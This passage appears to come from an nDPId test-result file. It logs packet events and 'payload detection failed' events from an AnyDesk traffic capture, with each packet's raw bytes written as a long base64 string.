hFNvg\/3VO4VECOw2d5SITSRsafAi2BRrl4Wrw6HaDLtwr0fLCyiKQejGDEYQLYOtmwHM\/JuPja\/ZrcBkS4cvlCK\/iqpwND8CPhC6AHkRkiuBk8n2iNVvfzGZxMNK1SdX1Vxl2vE+lQOPZpFhTt4ev0e4IWredLN9C88NmC\/kWVmhm67YV1VLtfo6Mf\/nG\/2Xg09qR75OfnH\/hvcy3JZkh2GIWgkrtdiqccC7vHOu\/COLcXCsaZ8Y1KA04beDd24xHuFInDmqVN3aM4BAF11gIdv6TRtv3ebprhwXQ\/wiRdXyMxo7CHieHhOvmqkDwMBm8Rf\/Hr8+sE56eRp\/KhlhJ6pf+BJtWHjL\/Fz8lTsLmVdGetfUc+Ln40dJigPKrmY7Mug+WT5G38HwgcI11i6kxuJsSDYpZg3lQw36awaqYXodZGMz7Eb07nrp+wGK0\/sPH4au9Bu0N8ETxoc32kCdipzPUtx+fuygVVQfGScFUl0qkIRVlv0WhcXft\/WzaJpONdvp3OLUhOYMwckxd4vIb\/UaGjHLwLJwi11ByyiZzvoyupAuYtkzZq3WskWFC0SVpENMQ845ccWKgvDRhHALsIa6hk9xVccvhjS28Z0amnZW8CraEUjlNwyEoL9bFndflTwK4W242liWVyqDsq6rTEgLKxKnr1B+eKcIAo8ukv4ZIgtf84CosKDsw1J2apmXojadoie3ZSLQYBB8i8ieu21N0yrE78m6f3czdvc+9QLanRRbG+O+Gz\/UbSNxPR89nGQd9tOBZFfI71TomEE8TLjcEq+l+sbmCGPtXIsxt5OBVHo0H2ZTRfGk1avJn1CThRtt17dgdLzldyi\/1hqVGP2FfekXlibNysETYXKBPzrwFnZPIrp78\/47m3jPUcqvh4nAkXnhPlDAQmiM7DO0H5lgTmW1T2kkNAkYh4\/gKO5lv7uCwBtB1GIQcs\/OludECDlORWfbQX3Tod5gnb+5FlSKXXBk0pk+hQlUPFsUnwG\/uKGhdL74gY1Qx12xErPTIgSoSRaqgyZIDTM8\/m4LYSvXCzQFjtBIh4dO5fBUt3ahNfcs9Jk1vPluSeFQlhpfN7Yvl0BgpGxP7dOuga3i\/55IRwhSLnuQrF\/lTp5fvApRHvTkftwywngmgPQCh0\/PiMTH7hsEmepFLCRFA2fYxicAW46SnmjiJJzV+7SRexXaWhJH34mQMvzJHgt19SgraeNbH\/YMtNxAZPzOoWiGnzf9xv4hLjrnXJpJ1dX949svoeqhRKSo9x+VzTvfItJkg+s3TuNr4BWohf\/t+CCZGabOsV\/1SQg9cg5QjeyiZEmN5EFE3x3Cv+JO4HZNatIxxokenyrO4CFVQtFq73M7YoYyC+mDQoVORg0\/tB0qjWxV4gJPw9AWm1eWu7HEPHloq7CAuVlUtaAfXccPS5xgEd5NgC+waRkh5xQy4oNSQ\/epIRkBefgzZqKydvU3SJ5xERMlh5HTnfjwVIFnox8NquNTKZMOZIyQ7sONgQRMJAcbzBhmLKf1NQvGcIz4fkmMpfV5JPVwcWrhtn6lctINtSLk66gx5MUSrgeWqDSEGhkQEwPeaPBv73XsjMJYZ9Deoidj1EwhpKDQ0zDvtoIkNDVybhGt7LvsO+QGCVCuIcALCSYajNo7ecLTTFyb1aeL0aBZRj10k+otzNAZCdOwWlDKRENHlCx+oN4APcW5AXTEf2a4XYcEt3YA\/lCHRd2BfU2GCwMEszGSwT\/COZIbtP8Oswqik1g+kE8NQ9NPMr0PZwxx07cAwfhWAdzfziArm42mFyBuXnxGU1AFkgGuZcBAmkyphuHyB+8as4\/IUEKXYrio4DNzXzcUXHerGIEgIaJVV3k2gKEVPGvroO61ejPLMwiday0Uub04OYQrxOM4yfpZ7ToaADeea1Lhdx5VqpGKtv9XNhd4Ec1w6Hy1KaglHXPgPi+OtOiLqwcNrto94sZoDWhSiuDHyjbwUESGrzol6LDD+9kkTJBRuwSWfDxkFqJGmOaAiRu02B8opOYHOcyTSFZBMHyRjvQVpo3xghuhXkUdfm955w59QRwPWspouIWA1UTAfUPuoUlOjp+nOZfEllxCgUCgB4vkZCoPu0v4HdPMXDbiMdzoH18oK0TuN0zFihM00kR6QvS7nMSA7XgskoI2ntkLcWuSqQDkMxQv5nFMRnBmE\/7w9LEewlalbFTbIwDL5fPj7hN39f8rsiGDxbirDrOQqAFy61qiJrYIfnC1fAMlsK0qgcMq6tqANkJ1LPDeISGW5HG1CSO6zG2qoXhusMFBYH0hrMjCWe7L5BmMskjP0GySlMAb\/v8RD\/NOLN80LB\/VHLMx7ke9QMP3C2qLdLFStdGqHIihZR7I58TRsb8xqVqCudZaSdNFbgD3\/ck8AkVoV0xZ28MBp99bEeA045LSpcz6JbBQO+xis5sbDqOQy44hjpiOC+bj8pSAENmmp99D6WwKYQyvI+maTrg3cwUf3YOP6NqJ9Zs\/yFxLqwOpE6nKkOpMqf2YKKPrrnlzqJ2xzz1zF\/Z6gr6GfCkMzsGuR3zbGEdMfk2dKx3PWtyiFn61TTZaWQoryV5ir5oobZVl016q8K8hCm8neh8DjnuIrGikocA+uetENAdIy1yehQ1A=="} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1303,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":5520} +07831{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1304,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977610,"pkt_ts_usec":13957,"pkt_caplen":5554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":5554,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAfctAAIAGAADAqAG7wKgBstOUG56PJctxWcQwGlAYIBOExAAAFwMDFXdZ4hNO+msV8IE\/I4mPCOdoOm7h72ninb5E8XQMCF7FM63JyFcLjTV8BMhnzS9On8KCw1V52mBMmp0+2ORFngTzdQFDzaU9IjSYeJVxk2TZffBbTK9wYy7BIqTUs1dZwDsgllWuiUURFxKSvYtpvVLoqeele+xphwrMR5YMnoSae84osklwCMRA1Lboc1QTqBaR99qpcgpoKltgo2j1CZovShAVbiR+uItAKnuqo4PJBzq5W1e9SS88n5xm20asnRyw\/iSA6TjjgRd8QOXLxPUr3DFP5+cili6OOm9+aVu\/MgHYJJRclzPGTIVfpFkNqU6RyN\/xAE4hIhnapBMkdyL3\/G7\/NQ8oGjPBFN8bwRwo0RAN+JnB4r95qqlRJJfTQ93yNYjkvDouF96Fn0JyiMxtyDSOm2oHvYmR7SNmB6nLG+X7ZE6+CJ+FxDfLgwenZ3pnwL3kPdNqVPXolqAWL7cbxVQ1US\/HXwderDURRe6IFDJZSe9xTqDMUk2o4keuX+N8lzr6QhDQWLBOPp68jMB0AfvXNgFbwaTzf9dIpj2P2HqSzs22wyVhHiexisWjL\/SH2Kz0sWu0rw5mf4dfw6jtZZueYQ4gFsL69M+OpFc15AbRbt5evMpA1GP6khmWmaoqW\/QJJI5k0tcV12UWF\/eR2taSp3QOtcc+tx9\/gpv4SyNkggkcnV4KIrNr7gFGfLnpWla5EZdOinZiwkEL1qjP4irdVQHgBccdFoFsXMcqUGP3VwsbBVk\/vkHvsJJ3aLrgKn2\/pWB8bV6KQSo6YOINOxPq4dkAcg+pDbPf1hQHqQtUclf\/OmuOhMnsYkQAMZ1kRLGEddNJdNsZncaC6ABdDIYrubR0geeuHAH+HrtsCU47c92aK+ESYL6W8o\/wIyd9DNNwLEisRfh0vnDYNEO4VgIzUsI7Abyei9KQDlWeiaIFMUAoNXg\/V6I7+O9gDwZMPsBxceoskApp9nSYKrE\/0D7D1LdyqpTmquTCYKcigEai16jXkDVbwiI4Jq1UXnCylJWqmFpo1cj72TO4EKvhnYCBOy0J3wRtJgfPCNbiICQOpWkGCbHnnkZX30YZIytGy4rjd38q52qTDy4HfTYH\/EzcFceikUZEyWPgZO67C0Gth5omPK17U4chiNnm9QD1MC9DPedMwSMr3cTofC3UWiwQLKdokEmPpCrQVspEOa2Bbo7IeUaVSESbvvLiBjDxXVF50T5LKkqQdb2PJb302ZGxY59qf4IfIl0ea4oa2pPN7LNDNT4SrQOwR5Ng4CY0hPZtgsaRU\/bFLSPrYI76VBvM9Hh0enWEGrANRTFRrU6\/YoD0t2glkMy0RkyA9sQFUC\/g4zzuFplAVh3JB0HUrdNxPS\/ZmXvK0eqMKK\/x6VGIC5Xj38w9nRpwwq8b8tuGMZeruw8fXjdgVjtohTJiVQe2s1Id6Chw3dSXr\/r12dADgAKPNBTG+YKSjLtJ2Y5Sooil6OvwtxGA4WFaEmyuoQbTCWjYZvhXvp6\/m8Qv5Hjk1ELGL0LlpeurRv2CFSAaezeDvLO3i6jC6ja4j4D23nZq88ZrRWbeh4ibBm33RSAtdtwc88pdt0gV02+l64h884f\/Xj8uL\/nCWX\/tc\/ofnhwxK\/no6D\/QSK7PR\/HPyu6rK2dJwy8Ky6V7KwmO\/X4sDg8xLH4vxQI9A5GjnEOJLk3Gaxjo7LmCmq+CUcGBQDCWlzJbz5+loxNJ2vy5+xndK\/e3g35qljXwty6GZHhlpTw6Vr1VMEhj67gHYwT3GWO++KHt3tb2FTjiZfedbuBCWGIo9zFtrtqd8V62RoXdm\/HHnXJa8oY9z1cHPgDzYs6nVLnXg2hNbp25VkxGzDJouUUg97rBpmt4S+9ftDMx+JYw6AvMNAqLfa1fE+C7lxQvbfcpJ6FVvuEfURcG0A\/g41ftG5txRAHWd19Dn0+mEoRZUbVIjiFoGeJ+8kYNDSFK5ffxZ+PdgjfQMnjwHEtv\/eS9PzpZtdQt5C\/i54nJ8TZLEXfe2RANwDvfDhIu9O5ljgZOOQldCUWca3aS\/+VWt8WuSJtfCBrJ9T9zQSBtQ+t7w68CVa7FwXQ\/tLK8kVAnWMJn0BySEZpcZX4yd0cTYmHBDhXFDrb1Dp7EIRWnAC7POFw8vr8MHilPwgrnRlDambHkw+nKhXSB41P6+WXHwI4ZpEowD6I0SQlhDRw5++ZdMemmVeAnpzxgk5Gz0fIjDstWUUd8AxqPA7WWBWdl2oJa4Nj\/SY3DjEE+py05R29tG92xXbRmDBRyjyzDDo26MSBCoPv8Uly1AsPx6VthE8z9MLV\/Xde7+Zq6VN9qRR+CrJ2ugnMlWb8NwX6kMS2VQL9THxczaTRqoEe0\/SVG5yeXg3wZvl27SEh1pjGkASEBIjpLfBMf9oHBaIHG2ymfWGZTTVciLKPAdi6iVddnXoXgFKqKR\/4mgizxoCl+OqNqunGufrlqbgM7HrdLdlxhtHlI2iamJOl555wI8qd7zvoTFidcFEZyT1hdY1qajC2xQcYyBFRSI2me1EvJyfStYrHLEXEovQdCKAAekHEW26Q8zYaU7ZZOdLqCH+g24LNb+28sobEnb6BRViBEjqNkIajxia2hv8Q7DXOWuYg65wahkW4K1PUk6iyGJcW93z1Q1wJx3ZfPO\/8hPO0HaFOSxo9uI3pR5HdvKc6TM3JzH9WYBnMiqeLUkFxkwh2qVRuJQksSxIGAcLGgHiGRbkZFzS\/MQRtoeu7i0JDQbgxQXctJVA1b5gGbdnYxdNdVQO+sfdlK1OaQpB3rW2C3DD1eVRbM5l7PQArSI02aNPW4aIHBSllL5q79eSpV7wFPFhYx1R4wCkEQQlg9bEOm6bOe6uF\/RWjef8+6nK6pFKJUb2ftW82jXajwze20dc44e+zX7cshmoepxaNTtMtQ29IJrX5yOi5N+59zAVk88yvQUkRy0eJx817h5+AxSG9V60TB29MjXv2FOxr8bqzd3nprt3qw2KX4BbqJa2InXDbNJCO6cjuu3p6THXq6qeFWImDBIBAuygxr3sPwH4NOPgghK51cWGK6P8GEip5+q8xRpdHZeI\/EjH8WrfHdnZCPSkA9WYl8D5svwKh\/QljGeSK3zGYK30W+F8eFHvg0zpOuFJvLhvbUxEfbddIsm\/HwLSnPhitMriPSqQkPFiMGCxAg0fYE+lya\/nAU7yaXhGZwwLsG7KJCitmA++GaFvrYTAtNrntYQdzM1PorAOvXRdvHj60vK8XQiAM9M0yJtm0Fh7tu9gi5Y61zbVAoXNAwNbeB6iC3s3suXrGwFgsHdNwL\/isi\/5L9ojHKrR0p6VT2M7zxUccEMRaZLKh4T01yr7+qqrJeMCZmyJSzhOPvQj4wTSj9kTphILOhhl1jQLnj4yqjyxFBnKVPkkQTJyfEXw7v03ZgremRX4uw2Hb+dz\/fiA0iZHd3cB3qvWLGFz+VdGsinrFDXobQBS\/mH2sJhiQMrzXrtVn5X0P67sn0uwZT2OiGK1nX7pftmrxtVYlqUXMhrRZvkaWle7qKna4kg0\/q8A8JnBUm0pnBN3UNicYKSeWZlNb3gYF6g4xvEQWqlwc7L69MOLbYIptzpO799ZFFVr7K3f32VKuplJU\/Z9OdMoAmjBOWTbFT2u5mBgc5zQkMO9b+dq0K9jCT8qeeSaMDImKf9mSKf2jhjfahrtyUT8US8eGdjpka5wHCZQMLg2m9SRFpRImUGu3ddr0ktcnYtB4F016YlQSY5GReMhG7M+INb3cPaEvsXC1\/MAszOuLZT6kFa1lH5jSeRcN03dSrQmGl0Foly27rKjNE5ICYIBOgmasDg0M\/Uwz0pjbYaMKn+v+LeDiLjOm4wKHyIZ7fvxsKgd7fcOet+QKCyuCeCgFMaKtFALbro5\/7ohdAmvZbgg5xe\/MfEMDtOzBtdbY33QA6oowaG1BojwoXcdHKNmwnPQy7L8jvY1WLdoBGlfCWuCSUx1P\/OFbgLK1fkGV+CaDkKbrSV+3mHi\/qJveAlOXp09svkPMtSjkWyHWTDr5hDO7FIY7hzEpW9pmRH7PWzPC99887ClZ8B\/s4U2x6yk6h6GcwukANez7cvLs3xi\/\/4QS0a656aNHz+874pRu4ZHslb7dYJI5KUBFnlTdALInpyHQjUvu9DYjNAbhaqaOQ15AiQeKcAd39znSGnwbMbwlkZayWdTK0vlNcCGkVOah2N9yxgUqU6HUFqiYjpBRp614RRP\/k2mNbnGe4iTc9SG\/Ar+kPbR2gJ7nLl1vqiorrx+xbriOn+diO7h4T4ocx1fbIb34SVSneG4CmL8CfyxFdG\/HjJFZPkmnN9mXWohGqqyyQiBLkdyaV\/vcu95DhayX8Q8SDuzVp9onPF70q5OveDs28voLH6g9ZQxnG13WZETr\/zHuMVcFtPxVemzKyyrle4DvLkHtDP7cTigLHTSCgmC4U6afz\/U5ytI1vSskWq676Fi2wu3tYdGg+CXLtZtSouCb4vWLJnt4B\/55CNp7XjMMC0w735SK7J7bP1AgqlMSK7LY24rN20iexS\/HjRp3f0UkDGuqRsxAqmzf8S8sOooxhgmDtKje8Kq3uX6VDdYlKIcYekV93jVFr968C8+MbiKl7Tpo0qm8E+opMvC1bsI+E2PFtLxlFZFgCYKPVgVDREuIlabl9dcgaFcq5xq46VJNVg9ecLeah+ZmUmyjx6etKC4PfXEC60ofHZSOBRR9aaqluepDMJkaeLaYPQH5XBPkqaxv217r2KG6llScq7QZ16\/2rxh88x+4HtgGFVnsJdVyJ7D9wb0e5kBPRnr8pQ\/N8mvoSUyB3Kqk3FMUqMfbhBrjv9fX\/73WA2C+RSLM20m69UHgAAD4vAW8V9CdVHxV+5Yy79uUFaOTCGoUufnjPvruOw0j+ysslu0uvDIUylPqXSft8FDdr4eSjTXsuFqpxvwOMdAE8Myet6z+25pUKYKU4URH0kT6gyN++LGE+VUYuWuC0ezHwScz05nkYmqLuhexw0RCirKNv9I9MivdUwNynePHEAURAMvUmaKtnhKaCvUVzCSKxivhDNO+R001urydKnFnj470CI2yhvIvf6VBaNnMy92UcuGVvB5LfCQfzBRfnR2ptFBQ+HyutTfxdg+6iR5Gi1PzC8WeG5g\/KxhecWAoqYxBEM00kd+Xagz3VxGx4ghUySHsj1EUohMG3+Q0+7MUm4gAdn1mNEi3HxQuaGsOQ60Ee6nSAx2doRi2K98ZpCGn2GCZpEV49nebTLSpYjlXVHQ+G\/Ht19fpOLxdKjU4GJ+sfHFRVBw5Kjo6IMCe6h7v7iWyRzOmbzfwJmqIDXmJ2v5RSj7O3+jKpQUZvLPzZqVYJzIyLdMPs2VpTe\/AfrMhd6Us7uRyP\/B1Zdga6HJr0Vo7DVOU7waDd2lPkQa9S2a0rZQtEmujxuh7Zwnkbuwydh\/2kh\/zfs7QBjFLH\/sthBVuoO3wfT3L30oW9mQEaDQBghoTaCBj7PvW7ELpRlZ6x9QAgCEhd1xbmdBWtIAD9E48r7auiDlx7lS8pjeSmFFpT7BblUoCceqd\/vRuR35gsDsXiPxcyYRfX\/cVR\/8msx0pXsR0ALztVvQz74Bz1ItPFPaVcmlj4lB9VK39tLxQ0o9yE25kSuumqUIwYiB7PxeRWpa\/J5SD7jIkp\/wkbtyqHAJknD+ObdGGuuEe0BIiDcX+hjPNTPlbyzt95oY0TdOGSsC4zxUZ0BGbVRsy5SS+n9FY1UJMYAntZ2eoWcsftYAxOabVggMRPDSihS\/NsPkS8uMOdLUAqBhxl1YCNlVCpWlZwwjh0A1QNyXioW1QmPeCafUCFY7sOVDVifUEDjuLZZvdVogbktQbBUNNhWtaPWS6p5j+qNFE+9lIPBZjk2O1PnEj+6cYRCedZIjVFT5jpRCrmh8+7zSendS5w0jcJHtGn9oc4SUJCnXy8Lw1LFIWKZT8wUTfgZdBLM1VQljbIzdqpoTevU+oe3Z7vLJzUXJLXJSVkKO3t\/o7\/hPorsbTs03XSb6jUpPWJCSTbfeBgtgLS0aj7ub\/4dylQEXYe+ESC30FFnE6xcoEcPbTnH+FdvOXkoN8T689q7K99l3G\/gziEWA52AuEZCkooBwf5wClfbQvV\/q68F4icWvM9mKzuvUO9P6q26DpgEk5ypJWfOeSsBnsyOi7glKEtK00ga157gpseo2DkdyR1\/BsVC1iOH96f1\/8yHti\/ghoRiOqHskQBnBBeMlXg6xKWeyxOJaEYskehFwkCE90ttHTmgUmgGhtRPg9HxsVD\/Oiyu+zKtgZm1NfuIYC\/x1JQAu0tMfsd5+PoKkGxLVqQBNkGBmzHUaKaS2QFVMFpPUhSEuAWE40y2ES3rr0NCMJZKqGg3vIy1iK9ZvkEip9GOgoEsYBiQNMDWvgQulUfZ1xwM\/R5fgtSSS1nx2e1JfFQnIy0sjoFsHMFL3uv+SrPGlrYn3oc629qpJs8Y4X\/8AV+I5wg6klvqJmjY8JlDl9Aiiq9ethlb0acbHSdR7Qucnyr6yivRVEO4WI23HllCaLswCb8cCWAcJI0XW\/IMndNfPfvP04CJY0XUEd1Xma4PgtGJIW5PUIVFjSvYJAgQigPYf8q6i0Vr3a71Hyppcg7tfPBnkLNs\/XedbdH4f7KXtU06usJc\/2d1f8h192bHMHp1FLMZb4ahYNQ\/fidROg\/3jZlVJWQvIZvVcXZ21LRloMwSv\/1J5WK\/3xQABhXFsNP+wN8J6b0cGpQfKRazus8PA6pSXlcUqVF792kEBGi2TRiLK9c+mfZ2XvpWDtDBAXiYd55zGgZV3Ivw6XI+0xHaJPQV8t+dgmt\/daR4C4SQDxAFZ9pra\/W1o+owLGQv2\/ZirASCAnxDUTtz0q0I6BBynV4MA40+dQS87hvRR9SszAEFnQBjl2N6\/n6LGElWlfWRldL3z8wk9XHMqIO8bO74fSYuMaeIdaJy81pMMn+oZTZbNYqalFhijAAwJaLDL\/rmFMP1hv2RUlRqVh8ZcohTuPIGVrPG\/440Fffy8tM0lvmQDLhIZef8satTOR\/cbuGv34PkmwDe3MJPL+2XIkOwKlkvi3UPDKrGa1gZW2+zYzVSbnnimfnaREtZ45U850cKgHpa4ZysSESQpZUj7aUPyG8mm6+F487A\/hawstZ8smUezdqrDQRcbwfkdGH7JwrXzGDoam8L\/xo78\/R5YU5jtQzWnUh9qy4OrwfORYN4VMf7UsXcD4mB3BgwdKzRnwiyTQHtRMk3EpBtHdMsJubcUnyvf1fzWnKabMHRSU9nT2zhWn9YG1A64w3KvwPXDeAXAj+JT5e8g=="} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1304,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":5520} +03638{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1316,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977610,"pkt_ts_usec":41374,"pkt_caplen":2456,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":2456,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAfghAAIAGAADAqAG7wKgBstOUG56PJekTWcQwp1AYIBKExAAAFwMDCV1Z4hNO+msV8wiiWKCofYVKZ3IXDatO2KAskVGNAT4nzJR507zpCvEcz+gLhYGG8ZYlxd2QWI+8n5LnCGzVI6VKzvgG9SR0Rm\/jO16kumDaduwK4GSX43o\/\/Cae6ca4KlVDjucjphuZBDg9CE1ffIvK+3W2koJA+5E\/yWPTDIRW2CTsejxYYx6PuLEWa1X3i90LJ7r1lTNyfgPK\/fKgjRbes\/idZfsOe\/fSyG0hz1D2zraBIwgA1mkmQZYali6H1BEKTIe5e9iLtGwi86p1+u4Vy0386UxHDR4Q3I+sbEp7XwTw6NBike0D5ui4JbplbiCsIaMdn+4UtWLcHuzcIjxjDVRMIsU+D3mwnDFzW97N\/I8opHcQn8\/Jb3GO66Fh0vlwLDVDD3lDWIQNTR1FkYm6J60kgOsSfglTxmK4aBBlTM6sta22vKpuRkFTrN3Nnwxm3yTuejcY9aeWly3EP3azcjo1Co\/KFuX\/yWJOc+BwXi9WI0tcVeKUCtvIo8\/4lC91Lb5Ung7LHXrtsIpWPq1pkvVdnIurRrL7MrF5BMnylwDXA6mmoyWnVFNH52fV9pAiFFjIYbmSLT6bhjALpX2v04BpqzAh02wRGt+FuICveMnXf\/51URl6reY\/ov8I3mB5Zn5aKNs7TW1yHjXF\/HdGImOdTQfq6FGF4gghs64G83vU3COfXVdl+XVdQ0v7Hg08uqu1d8w4nSoYRQfAt3g3tz1EuC8hf7DXuc7uHxVqbU4+Sb9mpLSadCR6Kmm9b\/vosY3\/SU\/9iK13YwKsuE8Gru56GH7ep5z2dXfteIasgE82LXrWbAnmopZ5J0bJ0k3lRnqVUKZkTayKReOs\/TKUq97kCK5MNgzLYC6XH69\/MMDls69TMhp+NX+rsvEFHmbTdFUcFnKPf7yuykd\/sBg5iqtJOYusoE1bmApMQK5gQRKPzTl5CPb24hQBR+g7F62g0IooYr\/1T53Jq7H1BZM4f5Sc7iAuNMYKUH21cIWHb7Xrt1Ap6GW3uq00J6evy6IDWXgzO1IpN085kR8rIpM5kEyx1v69ZXDbyyunE8HcSHah\/\/x9Y2D9965b87M3xHtOQ2Eu34sjJSZQsfIWNVbQ2sojtbcE7D62g1cjUo6nuhXBUoAeADWhfNF8p4CSQbvM8PBpccfRJDutoix\/lHs1osaZh7d9j44x7vh3jHHZXdysmEKgmMSuUhB8Rh1rwt05JYSNbRH7IC8MNqbahnApVy3dkw7NA1ytl+TqZ9pFDR+DHcdlzLwVYfw1Gvjw951cDmc4\/IV8jXnHuq6\/HNR974pbMVhEr5kFeeCWHP+jH8PoqS09mAGZvwoubUAbAqowadRtJYqbSjDO4Ot1E\/yckWGHwjaoxq66j75UwVx6G\/GdVdKB9iOxmedjlEy2RQxbLc8L2nVMQM57GI\/vHjw3zctDW7M3gUA1PBhB9Vu23AtO6FAupacS5UQzxbVDVaaAJwo7hlODO2oiqVfuIhtgwbFrQcQXojRRZdq2EzXviPzXTn06lQ0JPyEecKvEd22oX14Ht\/x7CDWtOLR8gxF6XnP1jeM\/F2bwTGQO0ioS+DQg4PzzaT4PAle7ddeDEtiObD8JEHNVHE7TTwcbt9A1fVa3sQoxnaM81G6E63Zo+tgv34sKfzGB4BHkpaVrMyBYQViMKf0RkvT1VDZX3hhSGaVGnhRcgy71nP5yeSloVA79ydHnj9QOra2luUMvcGxnrAgCvCuRwsEyB\/6zD35LwI3rVUBXlnDmuxAJ3clDW5BOYj3j\/zELOsKTSrFJyGY1XaLWfNxLrznSXMtTsUMPDRzhQj16P\/eERgVFRzfw3rKQgetOzsckyX5cgtM8MDmxGNLwBlAQdvUc3F907FarDHTImnyDaCmYqtBtbXohSuHj4Mt3vACKDLPd9P5bf0tNTapJFq15nnEt\/6Qmauojrg3BG9G96Av40vX+6AruzEWG5s7nv7Ksisd8Edp4H5WIQZw+4GWWTH1NoyAIEP7BJlsb7wfGMU6AYmWSDcx9jhVc+hRjLOD6z7r4\/eBX\/tTsYIlUVKNZN06NTtAzi35YNcriuEdpqkCHY0AJU7M4A68F\/8zrh8g\/1Lx8+ntegwRkGF8fmprp6GtPp3svIJCxTRBxqbH8ka+MSSaXpxvKwSRVX6Vru5Y\/JMYrjvw96TTj5\/HrXRPbUiTCoi1T4Y63gbo5fXpH7uBQY2+0kYRMC84t8gEJn6nx77K8Hg29mmKwskOApZlGwQcOGYl8Wk5rrNSksfyEN7yTOu1d5j4Bhr4ZpNGtBf8QORteA8CAqKW+qf\/Uls0iXJNPgMosran+wbqa1QjvH50GTin1JoJRVTLYFbAinjnZ2ZhTjLC4qQQujAUVDDBkALgbxqVY\/S2Ye9QUh\/W1TJs6J7Twr5W06Evj8tobntjR92dk9gqj0FFu8m7UCHn9G7XdtNpDe31sdBAyqsRcAA81dt7\/KjDAGPpKbLCwCA3hsTqGL8ICTbyJwM5n3ESwyhl4SN7uG9MHRIXyTuraUSElaPtzmTtyegst5qnroKc\/NhqRIa+ekLYUJLm9gP9wGjRsbeubw9ULYjqVraTFbPW5H7zrk3sDM9iTQgnn3ezzUsUuTtiL4+dRKLuqxaKOCr03WrVCp7AAvBJtXdhgxl8bki\/K0btsU\/OqdjDMrWqmxZsyet7wXjMfC07xAcR2th15sZe+bdj\/R6IUm1uPGkF9gRfSshY1+jfa10q3R0OsUWlD2CEPuGMwVcbIwkcizGtZYY+wjYgIcRoxqMb6khwM0yoPEtbbELvEOeIaaPkYblE940pA2Z1RseV0u1ux10wun9rKvebWvjQ5rcsAPGvpW0LTjA3a3KGkrHPrloEIHavR0xTg0pBdmpfqwJL\/uA3DcF3LNCk3SxBly3uM9MjsADk2JVSISLEm95UWzzCQ8tfuDkn\/nvOz3Au1wIvw0s+pZ7l3Gh01gELuOjoF4j5cWWrBKUZAVAdsKlSo3\/lPzhq3Q5ASffeEBC+J03EnSF5dYrn6QPskou0+KZjgzWGhpI\/nx16C4MGKTQ8y3bucr4iXN1EjwjT4FvwjdoTFmkSnZxsO3n4KMa9lO0sLvT9553XcmFVrByeJHiz1qeu7ylks6Na3dRhB3\/nq3CBFz\/0DsEJYML9sK97ONyWhSQbN4+AfE69M0ib7z+QZo\/vw\/3Xd1Bk="} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1316,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":2422} +02599{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1317,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977610,"pkt_ts_usec":41478,"pkt_caplen":1687,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":1687,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAfgpAAIAGAADAqAG7wKgBstOUG56PJfJ1WcQwp1AYIBKExAAAFwMDBlxZ4hNO+msV9OV+4WyRZOEsMRsCO1zUUGSXhiOr46Ge20L848v1Ten9iZwqmFBwR25tXooURHC3KfoGvNSF\/zMWNu2mjn1gB\/5+ov\/F21V8Dw1QIFweiljD52rePjgtNOsqLmE3dCV8\/8Ky9\/Mt2lXOIFJYyUn69oPV3SrZpwckXa8m\/yMkTELYdUmgJMGKfjoXG7xCdd6pG4P8fzb92s30v7BY+wZRb6KNCIM0VYL8TeI95EyW5ry2QHWRTkutaAPziVl37Ek5P40pAUM6IZRxmKWvfSYR7zssf371uNH5Csh7\/XbFJ9qcYH4bXXffJVfadAv5upnX2Eib6oI\/hms4h+JM7pbgy6a\/9qEy09nxK\/C\/qsYV9WBGP+MoGbGBOaRTrU4xXVQ0j0mvKKwm2\/3HhauBMbfHGfImNqoUePXLhwKxXXHJ7lt\/OW+xeS1siAV8nGnl9xcUHG\/anuhCcPd6dBQZAemOmxW7UVDc2TufZHxf3JH4iaIH6RtSRSdAqhdUPyOOPCLfq2mwXtIinp63OlUR3ovR+ePVL+3me8q05b8ov1xgPvrQ3ns6RiFZ8iJuJiMHVF3Q7p\/jTid9mKEw3bzPR\/\/FU81nPykufV9BIoJAmTCkZu9Eg8IsRgAG5fVcSmrSTPMqDPnD7+5uzina4CxXhyewuJJtyuFV+uHPn+eOtjdB0rq\/hhaR0fp1MwP5dCPmFZZU8k\/HLB5SiwAqSTlDycmV7kWUWhSO4QlhCMkosUtqs4\/AVo521v1lhEoFym2A\/pj1HeoNjVB4YUcz7\/XSooazXztMSQO1+lGxlzXs173qSo0GM0StzqYzBorZ1md3DdC\/uGqix8CHmdvy+DygF0b2wyUtepfL2Wbz04yEuMITQMqKDWJ2Yp5mbxYAaw4y4jT6P1Y54LKHF2UlF581LltxAfkumOWw3df07fto1uR9vOTO20s94UngIWiW2IMfYyMq7t\/7zHYTLrCe1BDLA03L3tiaKZ3i24wE939\/fPa\/LaXPYQnEIzpD0is4Tj7fj5ZDs8pH1LWqqeHx9eOsS5V1vuSDQ8sx0hC7YBLJRjYLVjx2DD9SPwD010NggLFjwRM0c7sUc1jveMhQFYWllyOdIHA8uhkpxw5UqcJVMEkRso18iMDk+C5dTRp7N4a6+xhIrM2fLBne0eRC0n5zIqKTV+Uw8Gf1XoFoELQYu144Y6b\/agCBlFd7bUc8VXYF13z32i1tSl88NeOIWx2sfpob3UPh8AWim6InU6AReQhmQ97EZ1lul717bbHXSHlAfAX2INgCowAGQ25siXYwOsIRVFVH0GOXKEqlqqC0aRJTPaATzdsu8r\/7gWAQ